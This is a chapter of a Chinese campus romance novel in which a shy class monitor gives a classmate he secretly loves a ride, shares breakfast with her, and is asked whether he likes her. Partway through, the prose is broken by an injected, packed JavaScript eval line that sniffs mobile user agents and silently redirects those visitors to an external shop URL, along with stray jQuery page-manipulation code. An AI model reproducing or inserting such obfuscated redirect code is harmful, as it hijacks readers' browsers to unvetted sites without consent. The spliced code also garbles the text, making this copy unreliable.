“我这样扶着你可以吗?”纪式如故意坏心眼地问。
风里传来宋飞卿略显紧绷的声音:“可以。”
他此刻正专注的骑着小电动车,想在过减速带的时候尽力平稳,然而李文念这便宜电动车减震效果实在不敢恭维,宋飞卿能感受到随着车身一震,纪式如环着他腰的胳膊微微收紧。
宋飞卿腰腹顿时紧绷如一张拉伸到极限的弓弦,此刻他握着车把的手心里全是汗,指节微微泛白,浑身肌肉都下意识紧绷着,连手臂都硬得发僵。
少女柔软的力道贴着衣料,清清楚楚传进他心底。丝丝缕缕温热的气息时不时轻拂过后颈,混着春日晨间清新的空气,缱绻又温柔,惹得他脖颈微微发麻,耳尖不受控制地悄悄染上浅红。
她正抱着他。
这个认知像一枚烧红的烙铁,烫在他的意识最深处,每分每秒都在提醒他:宋飞卿,她离你很近,很近很近。
三年了,除了大一那次运动会拔河比赛,这是他们距离最近的一次。
近到她的发丝被风吹起时,他能闻到空气里柠檬味的香气,是一种很淡很淡的、干净清新的味道,带着阳光的香气。
是他午夜无数次梦回的香气。
那是大一下学期,6月初夏的午后,她坐在他前排,趴在桌上睡着了,长发铺散在桌面上,阳光撒了满身。他路过的时候,风从窗户吹进来,掀起她的发梢,也把那个味道送到了他的鼻尖。
李文念虽然调侃他变态,但还是让女朋友帮忙问到了牌子,原来只是护发素的味道。他买来了同款产品,洗澡的时候觉自己着实像李文念说的那样,是个卑鄙无耻的变态。
他还记得那天她穿着白色宽松的针织线衫和浅蓝色的牛仔裤;记得那天窗外的天气,晴,没有云,微风。
记得那天自己回到座位上后,心脏跳得有多快,快到他不得不埋头趴在桌上,才能平复心底难以名状的心荡神驰。
此刻,他又闻到了那股香气,他们肩背相贴,体温相融,她说话的声音像是贴着耳朵的呢喃,早春清晨的寒风都吹不散她身上清浅柔和的气息。
每一次触碰都像一颗火星,落在他紧绷难耐的身体上,烫出一个洞,带出无限的颤栗与欢愉。
胸腔里的心跳节奏更乱了,沉重急促得如同擂动的战鼓,一下下撞得心口发颤,砸得他耳膜发胀,忍不住去想她是不是已经听见了,是不是早已察觉他心间几乎要为她跳动而出的满腔爱意。
他屏住呼吸,又觉得这样太刻意,于是深深地吸了一口气,尤带寒意的空气灌进肺里,像刀子刮过,却半点没能浇灭胸口那团滚烫。
晨雾还未尽数散去,暖融融的晨光穿过抽芽的枝桠,洒下满地碎金般的柔光。
因着时间还早,学生只有三三两两,春光静好,万事井然有序,唯有他因为身后的人,方寸心神摇荡,孤身一人满心兵荒马乱,难以平复。
李文念从宿舍楼出来时,正看见自己那辆熟悉的电动车悠然而过,车上两人距离亲密得令人遐想。
“靠北。”
李文念停下脚步,拿出抢课养出来的速度冲着两人的背影抓拍了一张,嘴里喃喃道,“皮卡丘,出息了啊。”
他啧啧两声,把照片发给了宋飞卿:首次和女神共乘一骑留念,回去慢慢舔吧。
还要自夸两句:感谢你嫂子对我拍照技术的训练,这照片拍的真好,任谁看了也说这是一对唯美清新的校园小情侣。
手机在口袋里震了一下,宋飞卿没看,他正忙着将纪式如扶下车。
他弯下腰,略僵硬地隔着衣料架着她的小臂和手腕,“我扶你起来,受伤的那只脚别用力。”
手背忽然覆上一片温热,一只手握上了他的,轻轻用力,把他扯开了。
宋飞卿心底涌上苦涩黯然,“对不起……”
带着慌张的道歉还没说完,手臂忽然又被人挽住,他一时怔然。
纪式如无辜地看着他,“我想这样扶着你,可以吗?这样我比较好用力。”
宋飞卿眼睫轻颤,“可……以。我帮你拿着书包吧。”
“好的,谢谢班长。”
教室所在楼层不高,纪式如一边扶着楼梯扶手,一边挽着宋飞卿到了教室,有同学见状上来关心,“你腿咋了,严重吗?”
“谢谢关心,不严重,就是摔了一跤。”
“哦哦,那就好,班长,你扶着她坐外面吧,这样进出方便一点。”
两个人就近来到第二排,纪式如坐在了外侧第二个位置上,接过宋飞卿递来的书包开始往外掏书。
宋飞卿怔愣片刻,正打算离开,忽听一句:
“你一直站着干嘛,坐呀?”
宋飞卿讶然扭头,原来最外侧的座位是留给他的么……
纪式如抬头看他:“快点坐呀,你有多余的课本或者笔记本吗,借我占个位置。”
又问:“你要帮室友占位置吗?”
宋飞卿呆呆坐下,机械般回答,“不用,他们喜欢坐后面。”
“哦。”纪式如点点头,接过他递过来的课本放在旁边座位上,自然地跟他聊天,“咱们上节课学到哪里了?”
“……学到第四章了。”
其他人陆陆续续走进教室,何君理她们也到了,在纪式如旁边坐下,然后陆续把占座的书本和早餐递过来。
纪式如把其中一个包子和一杯豆浆连同课本一起推到宋飞卿面前,“谢谢你的书,请你吃早餐。”
见他傻愣愣地,纪式如忍不住弯了弯唇角,语气带着几分轻快笑意:“别告诉我你已经吃过早餐了,我专门托君理带的呢。”
“没……还没有,谢谢你。”
宋飞卿连忙敛去眼底的失神,指尖微微有些发颤,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564798|204690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
故作镇定地接过早餐,刻意压下心底翻涌的情绪,掩去周身的局促不自然。
她让他坐在她旁边,还记挂着他没吃早饭……
她从来没有这样亲近过自己。
豆浆温热的触感顺着指尖蔓延至心底,一股难以言喻的欣喜骤然漫涌开来,在心湖之中轻轻荡开层层细碎涟漪,甜意悄然漫遍四肢百骸。
他垂着眼帘,指尖轻轻摩挲着包装袋,心口怦怦直跳,满是猝不及防的欢喜与窃喜。
在宋飞卿的印象里,纪式如一向都是礼貌客气但又疏离冷淡的,班里男生偷偷议论说班花有时候很高冷,他却只觉得她一直都如此,遥远地像天上寒月。
宋飞卿甚至一度怀疑过自己是不是哪里得罪了她,惹她生厌。但是没有,什么都没有,她不曾主动和自己说过话,也不曾和自己有任何私人交集,他们之间除了名义上的同学,其余什么都没有。
李文念劝过他很多次,“你这个条件搞什么暗恋,直接表白啊,知不知道有个词叫做恋爱补偿效应,人们更容易喜欢上那些喜欢她的人。你这么个大帅哥说喜欢她,我就不信她会没有触动。”
但直觉告诉宋飞卿不是这样的,如果他贸然表白被拒绝后,说不定反而会给她更加充分的理由回避和疏远他。
于是李文念又劝他:“那你就更应该表白了。你要知道还有个词叫蔡格尼克效应,得不到的永远在骚动,你表白了被拒绝了,伤心了难过了然后这事就过去了,好过你现在这样折磨自己。”
但宋飞卿舍不得。
他翻开笔记本,那里用中英西三语抄写着几句诗,出自聂鲁达《一百首爱的十四行诗》第17首。
Teamosinsabercómo,nicuándo,nidedónde.
teamodirectamentesinproblemasniorgullo.
asíteamoporquenoséamardeotramanera.
Iloveyouwithoutknowinghow,orwhen,orfromwhere.
Iloveyoudirectlywithoutproblemsorpride.
IloveyoulikethisbecauseIdon’tknowanyotherwaytolove.
我爱你,不知该如何爱,何时爱,打哪儿爱起,
我对你的爱直截了当,不复杂也不傲慢,
我如是爱你,因为除此之外我不知道还有什么方式。
指尖抚过字迹,宋飞卿轻叹,也许他该相信李文念这个精神科医学生,恋爱补偿效应……会有效吗?
“你是不是喜欢我?”纪式如倏然出声。
宋飞卿浑身一震。
“什么?”